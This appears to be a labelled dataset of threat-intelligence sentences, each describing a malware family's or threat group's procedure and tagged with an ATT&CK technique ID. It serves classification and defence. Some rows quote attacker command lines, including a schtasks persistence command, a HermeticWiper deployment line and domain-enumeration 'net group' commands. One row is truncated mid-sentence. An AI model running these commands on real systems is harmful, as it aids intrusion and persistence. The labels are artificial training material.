"""TinyTurla has mimicked an existing Windows service by being installed as """"Windows Time Service"""".""",T1036.004
"APT39 has used malware disguised as Mozilla Firefox and a tool named mfevtpse.exe to proxy C2 communications, closely mimicking a legitimate McAfee file mfevtps.exe.",T1036.005
Aoqin Dragon has used fake icons including antivirus and external drives to disguise malicious payloads.,T1036.005
"""BackConfig has hidden malicious payloads in """"%USERPROFILE%\Adobe\Driver\dwg\"""" and mimicked the legitimate DHCP service binary.""",T1036.005
Bisonal has renamed malicious code to `msacm32.dll` to hide within a legitimate library; earlier versions were disguised as `winhelp`.,T1036.005
"GoldMax has used filenames that matched the system name, and appeared as a scheduled task impersonating systems management software within the corresponding ProgramData subfolder.",T1036.005
"Ixeshe has used registry values and file names associated with Adobe software, such as AcroRd32.exe.",T1036.005
KOCTOPUS has been disguised as legitimate software programs associated with the travel and airline industries.,T1036.005
"""LightNeuron has used filenames associated with Exchange and Outlook for binary and configuration files, such as """"winmail.dat"""".""",T1036.005
"Mis-Type saves itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.",T1036.005
NETWIRE has masqueraded as legitimate software including TeamViewer and macOS Finder.,T1036.005
NOKKI is written to %LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe prior being executed in a new process in an apparent attempt to masquerade as a legitimate folder and file.,T1036.005
PROMETHIUM has disguised malicious installer files by bundling them with legitimate software installers.,T1036.005
Pony has used the Adobe Reader icon for the downloaded file to look more trustworthy.,T1036.005
Ramsay has masqueraded as a 7zip installer.,T1036.005
"""Sibot has downloaded a DLL to the """"C:\windows\system32\drivers\"""" folder and renamed it with a """".sys"""" extension.""",T1036.005
"SideCopy has used a legitimate DLL file name, `Duser.dll` to disguise a malicious remote access tool.",T1036.005
"""Small Sieve can use variations of Microsoft and Outlook spellings, such as """"Microsift"""", in its file names to avoid detection.""",T1036.005
Starloader has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.,T1036.005
TEARDROP files had names that resembled legitimate Window file and directory names.,T1036.005
"The Remsec loader implements itself with the name Security Support Provider, a legitimate Windows function. Various Remsec .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare. Remsec also disguised malicious modules using similar filenames as custom network encryption software on victims.",T1036.005
Transparent Tribe can mimic legitimate Windows directories by using the same icons and names.,T1036.005
"""Rocke has installed an """"init.d"""" startup script to maintain persistence.""",T1037
"""JHUHUGIT has registered a Windows shell script under the Registry key """"HKCU\Environment\UserInitMprLogonScript"""" to establish persistence.""",T1037.001
"""HiddenWasp installs reboot persistence by adding itself to """"/etc/rc.local"""".""",T1037.004
iKitten adds an entry to the rc.common file for persistence.,T1037.004
BRONZE BUTLER has exfiltrated files stolen from file shares.,T1039
"Regin appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.",T1040
Stolen Pencil has a tool to sniff the network for passwords.,T1040
ADVSTORESHELL exfiltrates data over the same channel used for C2.,T1041
Amadey has sent victim data to its C2 servers.,T1041
BLINDINGCAN has sent user and system information to a C2 server via HTTP POST requests.,T1041
BoxCaon uploads files and data from a compromised host over the existing C2 channel.,T1041
Carberp has exfiltrated data via HTTP to already established C2 servers.,T1041
Chrommme can exfiltrate collected data via C2.,T1041
"During Operation Wocao, threat actors used the XServer backdoor to exfiltrate data.",T1041
GoldenSpy has exfiltrated host environment information to an external C2 domain via port 9006.,T1041
Goopy has the ability to exfiltrate data over the Microsoft Outlook C2 channel.,T1041
HAWKBALL has sent system information and files over the C2 channel.,T1041
Kevin can send data from the victim host through a DNS C2 channel.,T1041
Lazarus Group has exfiltrated data and files over a C2 channel through its various tools and malware.,T1041
Lokibot has the ability to initiate contact with command and control (C2) to exfiltrate stolen data.,T1041
NETEAGLE is capable of reading files over the C2 channel.,T1041
"""Penquin can execute the command code """"do_upload"""" to send files to C2.""",T1041
PingPull has the ability to exfiltrate stolen victim data through its C2 channel.,T1041
"PowerShower has used a PowerShell document stealer module to pack and exfiltrate .txt, .pdf, .xls or .doc files smaller than 5MB that were modified during the past two days.",T1041
REvil can exfiltrate host and malware information to C2 servers.,T1041
SUGARDUMP has sent stolen credentials and other data to its C2 server.,T1041
Spark has exfiltrated data over the C2 channel.,T1041
Squirrelwaffle has exfiltrated victim data using HTTP POST requests to its C2 servers.,T1041
"""ThiefQuest exfiltrates targeted file extensions in the """"/Users/"""" folder to the command and control server via unencrypted HTTP. Network packets contain a string with two pieces of information: a file path and the contents of the file in a base64 encoded string.""",T1041
WarzoneRAT can send collected victim data to its C2 server.,T1041
Wizard Spider has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.,T1041
ZIRCONIUM has exfiltrated files via the Dropbox API C2.,T1041
Zebrocy has exfiltrated data to the designated C2 server using HTTP POST requests.,T1041
APT41 used a malware variant called WIDETONE to conduct port scans on specified subnets.,T1046
"BackdoorDiplomacy has used SMBTouch, a vulnerability scanner, to determine whether a target is vulnerable to EternalBlue malware.",T1046
"""Chimera has used the """"get -b -e -p"""" command for network scanning as well as a custom Python tool packed into a Windows executable named Get.exe to scan IP ranges for HTTP.""",T1046
Fox Kitten has used tools including NMAP to conduct broad scanning to identify open ports.,T1046
Hildegard has used masscan to look for kubelets in the internal Kubernetes network.,T1046
Leafminer scanned network services to search for vulnerabilities in the victim system.,T1046
MURKYTOP has the capability to scan for open ports on hosts in a connected network.,T1046
P.A.S. Webshell can scan networks for open ports and listening services.,T1046
Remsec has a plugin that can perform ARP scanning as well as port scanning.,T1046
Threat Group-3390 actors use the Hunter tool to conduct network service discovery for vulnerable systems.,T1046
"""Tropic Trooper used """"pr"""" and an openly available tool to scan for open ports on target systems.""",T1046
APT34 has used WMI for execution.,T1047
Action RAT can use WMI to gather AV products installed on an infected host.,T1047
"During FunnyDream, the threat actors used `wmiexec.vbs` to run remote commands.",T1047
FIVEHANDS can use WMI to delete files on a target machine.,T1047
Leviathan has used WMI for execution.,T1047
Olympic Destroyer uses WMI to help propagate itself across a network.,T1047
Operation Wocao has used WMI to execute commands.,T1047
PoshC2 has a number of modules that use WMI to execute tasks.,T1047
"""PowerSploit's """"Invoke-WmiCommand"""" CodeExecution module uses WMI to execute and retrieve the output from a PowerShell payload.""",T1047
QakBot can execute WMI queries to gather information.,T1047
Sibot has used WMI to discover network connections and configurations. Sibot has also used the Win32_Process class to execute a malicious DLL.,T1047
Stealth Falcon malware gathers system information via Windows Management Instrumentation (WMI).,T1047
StoneDrill has used the WMI command-line (WMIC) utility to run tasks.,T1047
The Deep Panda group is known to utilize WMI for lateral movement.,T1047
The DustySky dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.,T1047
"menuPass has used a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.",T1047
"Chaes has exfiltrated its collected data from the infected machine to the C2, sometimes using the MIME protocol.",T1048
TeamTNT has sent locally staged files with collected credentials to C2 servers using cURL.,T1048
Rclone can exfiltrate data over SFTP or HTTPS via WebDAV.,T1048.002
APT33 has used FTP to exfiltrate files (separately from the C2 channel).,T1048.003
KONNI has used FTP to exfiltrate reconnaissance data out.,T1048.003
"""APT1 used the """"net use"""" command to get a listing on network connections.""",T1049
APT3 has a tool that can enumerate current network connections.,T1049
"(Event ID 1024) to obtain network information from RDP connections. Earth Lusca has also used netstat from a compromised system to obtain network connection information.""",T1049
"""Flagpro has been used to execute """"netstat -ano"""" on a compromised host.""",T1049
"""GALLIUM used """"netstat -oan"""" to obtain information about the victim network connections.""",T1049
HEXANE has used netstat to monitor connections to specific ports.,T1049
MuddyWater has used a PowerShell backdoor to check for Skype connections on the target machine.,T1049
"""POWRUNER may collect active network connections by running """"netstat -an"""" on a victim.""",T1049
Remsec can obtain a list of active connections and open ports.,T1049
"""SpeakUp uses the """"arp -a"""" command.""",T1049
"""Turla surveys a system upon check-in to discover active local network connections using the """"netstat -an"""", """"net use"""", """"net file"""", and """"net session"""" commands. Turla RPC backdoors have also enumerated the IPv4 TCP connection table via the """"GetTcpTable2"""" API call.""",T1049
jRAT can list network connections.,T1049
StrifeWater has create a scheduled task named `Mozilla\Firefox Default Browser Agent 409046Z0FF4A39CB` for persistence.,T1053
"Threat Group-3390 actors use at to schedule tasks to run self-extracting RAR archives, which install HTTPBrowser or PlugX on other victims on a network.",T1053.002
APT38 has used cron to create pre-scheduled and periodic background jobs on a Linux system.,T1053.003
Xbash can create a cronjob for persistence if it determines it is on a Linux system.,T1053.003
"""APT29 used """"scheduler"""" and """"schtasks"""" to create new tasks on remote hosts as part of lateral movement. They have manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration. APT29 also created a scheduled task to maintain SUNSPOT persistence when the host booted during the 2020 SolarWinds intrusion. They previously used named and hijacked scheduled tasks to also establish persistence.""",T1053.005
APT38 has used Task Scheduler to run programs at system startup or on a scheduled basis for persistence.,T1053.005
Agent Tesla has achieved persistence via scheduled tasks.,T1053.005
"""An APT3 downloader creates persistence by creating the following scheduled task: """"schtasks /create /tn """"mysc"""" /tr C:\Users\Public\test.exe /sc ONLOGON /ru """"System"""""""".""",T1053.005
Bazar can create a scheduled task for persistence.,T1053.005
CSPY Downloader can use the schtasks utility to bypass UAC.,T1053.005
"""CosmicDuke uses scheduled tasks typically named """"Watchmon Service"""" for persistence.""",T1053.005
DarkWatchman has created a scheduled task for persistence.,T1053.005
"During CostaRicto, the threat actors used scheduled tasks to download backdoor tools.",T1053.005
Dyre has the ability to achieve persistence by adding a new task in the task scheduler to run every minute.,T1053.005
Kimsuky has downloaded additional malware with scheduled tasks.,T1053.005
"""Lazarus Group has used """"schtasks"""" for persistence including through the periodic execution of a remote XSL script or a dropped VBS payload.""",T1053.005
Magic Hound has used scheduled tasks to establish persistence.,T1053.005
"""Matryoshka can establish persistence by adding a Scheduled Task named """"Microsoft Boost Kernel Optimization"""".""",T1053.005
Molerats has created scheduled tasks to persistently run VBScripts.,T1053.005
POWRUNER persists through a scheduled task that executes it every minute.,T1053.005
QuasarRAT contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.,T1053.005
Shamoon copies an executable payload to the target system by using SMB/Windows Admin Shares and then scheduling an unnamed task to execute the malware.,T1053.005
Silence has used scheduled tasks to stage its operation.,T1053.005
The different components of Machete are executed by Windows Task Scheduler.,T1053.005
Valak has used scheduled tasks to execute additional payloads and to gain persistence on a compromised host.,T1053.005
Wizard Spider has used scheduled tasks establish persistence for TrickBot and other malware.,T1053.005
CostaBricks can inject a payload into the memory of a compromised host.,T1055
Dyre has the ability to directly inject its code into the web browser process.,T1055
Egregor can inject its payload into iexplore.exe process.,T1055
HTRAN can inject into into running processes.,T1055
HyperBro can run shellcode it injects into a newly created process.,T1055
Remcos has a command to hide itself through injecting into another process.,T1055
"""Ryuk has injected itself into remote processes to encrypt files using a combination of """"VirtualAlloc"""", """"WriteProcessMemory"""", and """"CreateRemoteThread"""".""",T1055
Sharpshooter has leveraged embedded shellcode to inject a downloader into the memory of Word.,T1055
Sliver can inject code into local and remote processes.,T1055
BackdoorDiplomacy has dropped legitimate software onto a compromised host and used it to execute malicious DLLs.,T1055.001
Conti has loaded an encrypted DLL into memory and then executes it.,T1055.001
FinFisher injects itself into various processes depending on whether it is low integrity or high integrity.,T1055.001
Heyoka Backdoor can inject a DLL into rundll32.exe for execution.,T1055.001
"IronNetInjector has the ability to inject a DLL into running processes, including the IronNetInjector DLL into explorer.exe.",T1055.001
"PowerSploit contains a collection of CodeExecution modules that inject code (DLL, shellcode) into a process.",T1055.001
"""Ramsay can use """"ImprovedReflectiveDLLInjection"""" to deploy components.""",T1055.001
TA505 has been seen injecting a DLL into winword.exe.,T1055.001
"Gorgon Group malware can download a remote access tool, ShiftyBug, and inject into another process.",T1055.002
Ursnif has injected code into target processes via thread local storage callbacks.,T1055.005
A Patchwork payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.,T1055.012
Agent Tesla has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code.,T1055.012
menuPass has used process hollowing in iexplore.exe to load the RedLeaves implant.,T1055.012
"Kobalos has used a compromised SSH client to capture the hostname, port, username and password used to establish an SSH connection from the compromised host.",T1056
BabyShark has a PowerShell-based remote administration ability that can implement a PowerShell or C# based keylogger.,T1056.001
DOGCALL is capable of logging keystrokes.,T1056.001
InvisiMole can capture keystrokes on a compromised host.,T1056.001
Ke3chang has used keyloggers.,T1056.001
Machete logs keystrokes from the victim's machine.,T1056.001
PowerLess can use a module to log keystrokes.,T1056.001
Proton uses a keylogger to capture keystrokes.,T1056.001
RCSession has the ability to capture keystrokes on a compromised host.,T1056.001
Revenge RAT has a plugin for keylogging.,T1056.001
"Stolen Pencil has a tool to log keystrokes to %userprofile%\appdata\roaming\apach.{txt,log}.",T1056.001
"When it first starts, BADNEWS spawns a new thread to log keystrokes.",T1056.001
gh0st RAT has a keylogger.,T1056.001
ADVSTORESHELL can list running processes.,T1057
APT3 has a tool that can list out currently running processes.,T1057
AppleSeed can enumerate the current process on a compromised host.,T1057
Bumblebee can identify processes associated with analytical tools.,T1057
CaddyWiper can obtain a list of current processes.,T1057
Cobalt Strike's Beacon payload can collect information on process details.,T1057
Cyclops Blink can enumerate the process it is currently running under.,T1057
DarkComet can list active processes running on the victim's machine.,T1057
Deep Panda uses the Microsoft Tasklist utility to list processes running on systems.,T1057
"During Frankenstein, the threat actors used Empire to obtain a list of all running processes.",T1057
"During FunnyDream, the threat actors used Tasklist on targeted systems.",T1057
"During Operation CuckooBees, the threat actors used the `tasklist` command as part of their advanced reconnaissance.",T1057
ELMER is capable of performing process listings.,T1057
FatDuke can list running processes on the localhost.,T1057
FinFisher checks its parent process for indications that it is running in a sandbox setup.,T1057
Final1stspy obtains a list of running processes.,T1057
GravityRAT lists the running processes on the system.,T1057
"""Kazuar obtains a list of running processes through WMI querying and the """"ps"""" command.""",T1057
Molerats actors obtained a list of active processes on the victim and sent them to C2 servers.,T1057
MoonWind has a command to return a list of running processes.,T1057
"""Mustang Panda has used """"tasklist /v"""" to determine active process information.""",T1057
NETEAGLE can send process listings over the C2 channel.,T1057
PowerShower has the ability to deploy a reconnaissance module to retrieve a list of the active processes.,T1057
PowerStallion has been used to monitor process lists.,T1057
Remsec can obtain a process list from the victim.,T1057
StreamEx has the ability to enumerate processes.,T1057
"""Taidoor can use """"GetCurrentProcessId"""" for process discovery.""",T1057
"""Turla surveys a system upon check-in to discover running processes using the """"tasklist /v"""" command. Turla RPC backdoors have also enumerated processes associated with specific open ports or named pipes.""",T1057
Volgmer can gather a list of processes.,T1057
jRAT can query and kill system processes.,T1057
APT1 has used the Windows command shell to execute commands.,T1059
FELIXROOT opens a remote shell to execute commands on the infected system.,T1059
FIN5 scans processes on all victim systems in the environment and uses automated scripts to pull back the results.,T1059 | T1119
FIN8 executes commands remotely via cmd.exe.,T1059
APT3 has used PowerShell on victim systems to download and run payloads after exploitation.,T1059.001
APT39 has used PowerShell to execute malicious code.,T1059.001
BONDUPDATER is written in PowerShell.,T1059.001
Confucius has used PowerShell to execute malicious files and payloads.,T1059.001
CopyKittens has used PowerShell Empire.,T1059.001
"CreepyDrive can use Powershell for execution, including the cmdlets `Invoke-WebRequest` and `Invoke-Expression`.",T1059.001
DarkHydrus leveraged PowerShell to download and execute additional scripts for execution.,T1059.001
GRIFFON has used PowerShell to execute the Meterpreter downloader TinyMet.,T1059.001
Gallmaker used PowerShell to download additional payloads and for execution.,T1059.001
HALFBAKED can execute PowerShell scripts.,T1059.001
Hancitor has used PowerShell to execute commands.,T1059.001
KGH_SPY can execute PowerShell commands on the victim's machine.,T1059.001
Lazarus Group has used Powershell to download malicious payloads.,T1059.001
Molerats used PowerShell implants on target machines.,T1059.001
Operation Wocao has used PowerShell on compromised systems.,T1059.001
"""Revenge RAT uses the PowerShell command """"Reflection.Assembly"""" to load itself into memory to aid in execution.""",T1059.001
SILENTTRINITY can use PowerShell to execute commands.,T1059.001
Saint Bot has used PowerShell for execution.,T1059.001
Squirrelwaffle has used PowerShell to execute its payload.,T1059.001
TA505 has used PowerShell to download and execute malware and reconnaissance scripts.,T1059.001
TeamTNT has executed PowerShell commands in batch scripts.,T1059.001
Valak has used PowerShell to download additional modules.,T1059.001
menuPass uses PowerSploit to inject shellcode into PowerShell.,T1059.001
Dok uses AppleScript to create a login item for persistence.,T1059.002
"""A module in CozyCar allows arbitrary commands to be executed by invoking """"C:\Windows\System32\cmd.exe"""".""",T1059.003
"APT1 has used the Windows command shell to execute commands, and batch scripting to automate execution.",T1059.003
"""An APT3 downloader uses the Windows command """"""""cmd.exe"""" /C whoami"""". The group also uses a tool to execute commands on remote computers.""",T1059.003
BBK has the ability to use cmd to run a Portable Executable (PE) on the compromised host.,T1059.003
Bisonal has launched cmd.exe and used the ShellExecuteW() API function to execute commands on the system.,T1059.003
Blue Mockingbird has used batch script files to automate execution and deployment of payloads.,T1059.003
Caterpillar WebShell can run commands on the compromised asset with CMD functions.,T1059.003
Chimera has used the Windows Command Shell and batch scripts for execution on compromised hosts.,T1059.003
Comnie executes BAT scripts.,T1059.003
Daserf can execute shell commands.,T1059.003
DropBook can execute arbitrary shell commands on the victims' machines.,T1059.003
Egregor has used batch files for execution and can launch Internet Explorer from cmd.exe.,T1059.003
"FELIXROOT executes batch scripts on the victim's machine, and can launch a reverse shell for command execution.",T1059.003
"""HARDRAIN uses cmd.exe to execute """"netsh""""commands.""",T1059.003
HermeticWiper can use `cmd.exe /Q/c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\_1636727589.6007507 2>&1` to deploy on an infected system.,T1059.003
InvisiMole can launch a remote shell to execute commands.,T1059.003
"""JCry has used """"cmd.exe"""" to launch PowerShell.""",T1059.003
Kevin can use a renamed image of `cmd.exe` for execution.,T1059.003
KeyBoy can launch interactive shells for communicating with the victim machine.,T1059.003
Lazarus Group malware uses cmd.exe to execute commands on a compromised host. A Destover-like variant used by Lazarus Group uses a batch file mechanism to delete its binaries from the system.,T1059.003
MCMD can launch a console process (cmd.exe) with redirected standard input and output.,T1059.003
MarkiRAT can utilize cmd.exe to execute commands in a victim's environment.,T1059.003
MoleNet can execute commands via the command line utility.,T1059.003
MuddyWater has used a custom tool for creating reverse shells.,T1059.003
NETEAGLE allows adversaries to execute shell commands on the infected host.,T1059.003
NavRAT leverages cmd.exe to perform discovery techniques. NavRAT loads malicious shellcode and executes it in memory.,T1059.003
PLAINTEE uses cmd.exe to execute commands on the victim's machine.,T1059.003
PoisonIvy creates a backdoor through which remote attackers can open a command-line interface.,T1059.003
Pony has used batch scripts to delete itself after execution.,T1059.003
Remexi silently executes received commands with cmd.exe.,T1059.003
RogueRobin uses Windows Script Components.,T1059.003
SILENTTRINITY can use `cmd.exe` to enable lateral movement using DCOM.,T1059.003
SLOTHFULMEDIA can open a command line to execute commands.,T1059.003
ServHelper can execute shell commands against cmd.,T1059.003
Silence has used Windows command-line to run commands.,T1059.003
Siloscape can run cmd through an IRC channel.,T1059.003
Sowbug has used command line during its intrusions.,T1059.003
Spark can use cmd.exe to run commands.,T1059.003
Squirrelwaffle has used `cmd.exe` for execution.,T1059.003
StrifeWater can execute shell commands using `cmd.exe`.,T1059.003
TSCookie has the ability to execute shell commands on the infected host.,T1059.003
TURNEDUP is capable of creating a reverse shell.,T1059.003
Turla RPC backdoors have used cmd.exe to execute commands.,T1059.003
WastedLocker has used cmd to execute commands on the system.,T1059.003
WhisperGate can use `cmd.exe` to execute commands.,T1059.003
"""APT41 executed """"file /bin/pwd"""" in activity exploiting CVE-2019-19781 against Citrix devices.""",T1059.004
Derusbi is capable of creating a remote Bash shell and executing commands.,T1059.004
"""Green Lambert can use shell scripts for execution, such as """"/bin/sh -c"""".""",T1059.004
Hildegard has used shell scripts for execution.,T1059.004
Kazuar uses /bin/bash to execute commands on the victim's machine.,T1059.004
"""OSX_OCEANLOTUS.D uses a shell script as the main executable inside an app bundle and drops an embedded base64-encoded payload to the """"/tmp"""" folder.""",T1059.004
"""Turian has the ability to use """"/bin/sh"""" to execute commands.""",T1059.004
"""WindTail can use the """"open"""" command to execute an application.""",T1059.004
APT-C-36 has embedded a VBScript within a malicious Word document which is executed upon the document opening.,T1059.005
"APT32 has used macros, COM scriptlets, and VBS scripts.",T1059.005
Bandook has used malicious VBA code against the target system.,T1059.005
Comnie executes VBS scripts.,T1059.005
"During FunnyDream, the threat actors used a Visual Basic script to run remote commands.",T1059.005
"During Operation Wocao, threat actors used VBScript to conduct reconnaissance on targeted systems.",T1059.005
Exaramel for Windows has a command to execute VBS scripts on the victim's machine.,T1059.005
"For C0011, Transparent Tribe used malicious VBA macros within a lure document as part of the Crimson malware installation process onto a compromised host.",T1059.005
Gorgon Group has used macros in Spearphishing Attachments as well as executed VBScripts on victim machines.,T1059.005
HEXANE has used a VisualBasic script named `MicrosoftUpdator.vbs` for execution of a PowerShell keylogger.,T1059.005
Higaisa has used VBScript code on the victim's machine.,T1059.005
Kerrdown can use a VBS base64 decoder function published by Motobit.,T1059.005
KeyBoy uses VBS scripts for installing files and performing execution.,T1059.005
Leviathan has used VBScript.,T1059.005
Mustang Panda has embedded VBScript components in LNK files to download additional files and automate collection.,T1059.005
PoetRAT has used Word documents with VBScripts to execute malicious activities.,T1059.005
PowerShower has the ability to save and execute VBScript.,T1059.005
QakBot can use VBS to download and execute malicious files.,T1059.005
ROKRAT has used Visual Basic for execution.,T1059.005
STARWHALE can use the VBScript function `GetRef` as part of its persistence mechanism.,T1059.005
Sharpshooter's first-stage downloader was a VBA macro.,T1059.005
SideCopy has sent Microsoft Office Publisher documents to victims that have embedded malicious macros that execute an hta file via calling `mshta.exe`.,T1059.005
Xbash can execute malicious VBScript payloads on the victim's machine.,T1059.005
Bandook can support commands to execute Python-based payloads.,T1059.006
Chaes has used Python scripts for execution and the installation of additional files.,T1059.006
Donut can generate shellcode outputs that execute via Python.,T1059.006
Earth Lusca used Python scripts for port scanning or building reverse shells.,T1059.006
Ebury has used Python to implement its DGA.,T1059.006
Kimsuky has used a macOS Python implant to gather data as well as MailFetcher.py code to automatically collect email data.,T1059.006
Machete is written in Python and is used in conjunction with additional Python scripts.,T1059.006
FIN7 used JavaScript scripts to help perform tasks on the victim's machine.,T1059.007
GRIFFON is written in and executed as JavaScript.,T1059.007
Higaisa used JavaScript to execute additional files.,T1059.007
InvisiMole can use a JavaScript file as part of its execution chain.,T1059.007
Cobalt Group has used exploits to increase their levels of rights and privileges.,T1068
Cobalt Strike can exploit vulnerabilities such as MS14-058.,T1068
CosmicDuke attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.,T1068
"FIN6 has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.",T1068
Flame can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.,T1068 | T1210
Remsec has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.,T1068
Stuxnet used MS10-073 and an undisclosed Task Scheduler vulnerability to escalate privileges on local Windows machines.,T1068
"""Carbon uses the """"net group"""" command.""",T1069
ShimRatReporter gathered the local privileges for the infected host.,T1069
Siloscape checks for Kubernetes node permissions.,T1069
BloodHound can collect information about local groups and members.,T1069.001
FlawedAmmyy enumerates the privilege level of the victim during the initial infection.,T1069.001
HEXANE has run `net localgroup` to enumerate local groups.,T1069.001
"""Operation Wocao has used the command """"net localgroup administrators"""" to list all administrators part of a local group.""",T1069.001
Sys10 collects the group name of the logged-in user and sends it to the C2.,T1069.001
Dragonfly has used batch scripts to enumerate administrators and users in the domain.,T1069.002
"FIN6 has used tools like Adfind to query users, groups, organizational units, and trusts.",T1069.002
GRIFFON has used a reconnaissance module that can be used to retrieve Windows domain membership information.,T1069.002
"""OilRig has used """"net group /domain"""", """"net group ""domain admins"" /domain"""", and """"net group ""Exchange Trusted Subsystem"" /domain"""" to find domain group permission settings.""",T1069.002
"""POWRUNER may collect domain group information by running """"net group /domain"""" or a series of other commands on a victim.""",T1069.002
FunnyDream has the ability to clean traces of malware deployment.,T1070
SUNBURST removed HTTP proxy registry values to clean up traces of execution.,T1070
Stuxnet can delete OLE Automation and SQL stored procedures used to store malicious payloads.,T1070
Stuxnet removes itself from the system through a DLL export by deleting specific files and stored procedures.,T1070
Zeus Panda can uninstall scripts and delete files to cover its track.,T1070
menuPass has used Wevtutil to remove PowerShell execution logs.,T1070.003
APT41 deleted files from the system.,T1070.004
AppleSeed can delete files from a compromised host after they are exfiltrated.,T1070.004
BLACKCOFFEE has the capability to delete files.,T1070.004
BackConfig has the ability to remove files and folders related to previous infections.,T1070.004
Bazar can delete its loader using a batch file in the Windows temporary folder.,T1070.004
Bisonal will delete its dropper and VBS scripts from the victim's machine.,T1070.004
Cobalt Group deleted the DLL dropper from the victim's machine to cover their tracks.,T1070.004
Cryptoistic has the ability delete files from a compromised host.,T1070.004
Denis has a command to delete files from the victim's machine.,T1070.004
Derusbi is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.,T1070.004
Elise is capable of launching a remote shell on the host to delete itself.,T1070.004
Epic has a command to delete a file from the machine.,T1070.004
FunnyDream can delete files including its dropper component.,T1070.004
HTTPBrowser deletes its original installer file once installation is complete.,T1070.004
Honeybee removes batch files to reduce fingerprint on the system as well as deletes the CAB file that gets encoded upon infection.,T1070.004
Kazuar can delete files.,T1070.004
LoudMiner deleted installation files after completion.,T1070.004
OopsIE has the capability to delete files and scripts from the victim's machine.,T1070.004
"POWERSTATS can delete all files on the C:\, D:\, E:\ and, F:\ drives using PowerShell Remove-Item commands.",T1070.004
"""Pillowmint has deleted the filepath """"%APPDATA%\Intel\devmonsrv.exe"""".""",T1070.004
PowerDuke has a command to write random data across a file and delete it.,T1070.004 | T1485
PowerShower has the ability to remove all files created during the dropper process.,T1070.004
Proxysvc can delete files indicated by the attacker and remove itself from disk using a batch file.,T1070.004
SDelete deletes data in a way that makes it unrecoverable.,T1070.004 | T1485
SUNBURST had a command to delete files.,T1070.004
StrongPity can delete previously exfiltrated files from the compromised host.,T1070.004
The White Company has the ability to delete its malware entirely from the target system.,T1070.004
WINDSHIELD is capable of file deletion along with other file system interaction.,T1070.004
WindTail has the ability to receive and execute a self-delete command.,T1070.004
APT28 has performed timestomping on victim files.,T1070.006
PingPull has the ability to timestomp a file.,T1070.006
USBStealer sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.,T1070.006
KOCTOPUS can delete created registry keys used for persistence as part of its cleanup procedure.,T1070.009
Clambling has the ability to use Telnet for communication.,T1071
Cobalt Strike can conduct peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.,T1071
Dragonfly 2.0 used SMB for C2.,T1071
Hildegard has used an IRC channel for C2 communications.,T1071
A PingPull variant can communicate with its C2 servers by using HTTPS.,T1071.001
APT18 uses HTTP for C2 communications.,T1071.001
Aria-body has used HTTP in C2 communications.,T1071.001
BBK has the ability to use HTTP in communications with C2.,T1071.001
Bankshot uses HTTP for command and control communication.,T1071.001
China Chopper's server component executes code sent via HTTP POST commands.,T1071.001
"Cobalt Strike uses a custom command and control protocol that can be encapsulated in HTTP or HTTPS, or DNS. All protocols use their standard assigned ports.",T1071.001
Comnie uses HTTP for C2 communication.,T1071.001
DEATHRANSOM can use HTTPS to download files.,T1071.001
DarkComet can use HTTP for C2 communications.,T1071.001
Dridex has used POST requests and HTTPS for C2 communications.,T1071.001
Elise communicates over HTTP or HTTPS for C2.,T1071.001
Empire can conduct command and control over protocols like HTTP and HTTPS.,T1071.001
Epic uses HTTP and HTTPS for C2 communications.,T1071.001
Explosive has used HTTP for communication.,T1071.001
FlawedAmmyy has used HTTP for C2.,T1071.001
GuLoader can use HTTP to retrieve additional binaries.,T1071.001
HAWKBALL has used HTTP to communicate with a single hard-coded C2 server.,T1071.001
Kimsuky has used HTTP GET and POST requests for C2.,T1071.001
LitePower can use HTTP and HTTPS for C2 communications.,T1071.001
MarkiRAT can initiate communication over HTTP/HTTPS for its C2 server.,T1071.001
Mythic supports HTTP-based C2 profiles.,T1071.001
"NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request. NETEAGLE will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2.",T1071.001
One variant of CloudDuke uses HTTP and HTTPS for C2.,T1071.001
POWERTON has used HTTP/HTTPS for C2 traffic.,T1071.001
PowGoop can send HTTP GET requests to malicious servers.,T1071.001
SMOKEDHAM has communicated with its C2 servers via HTTPS and HTTP POST requests.,T1071.001
STARWHALE has the ability to contact actor-controlled C2 servers via HTTP.,T1071.001
Saint Bot has used HTTP for C2 communications.,T1071.001
Seasalt uses HTTP for C2 communications.,T1071.001
Sidewinder has used HTTP in C2 communications.,T1071.001
The Carbanak malware communicates to its command server using HTTP with an encrypted payload.,T1071.001
Trojan.Karagany can communicate with C2 via HTTP POST requests.,T1071.001
WIRTE has used HTTP for network communication.,T1071.001
Zebrocy uses HTTP for C2.,T1071.001
down_new has the ability to use HTTP in C2 communications.,T1071.001
Kazuar uses FTP and FTPS to communicate with the C2 server.,T1071.002
Mythic supports SMB-based peer-to-peer C2 profiles.,T1071.002
ComRAT can use email attachments for command and control.,T1071.003
Kimsuky has used e-mail to send exfiltrated data to C2 servers.,T1071.003
"FIN7 has performed C2 using DNS via A, OPT, and TXT records.",T1071.004
Green Lambert can use DNS for C2 communications.,T1071.004
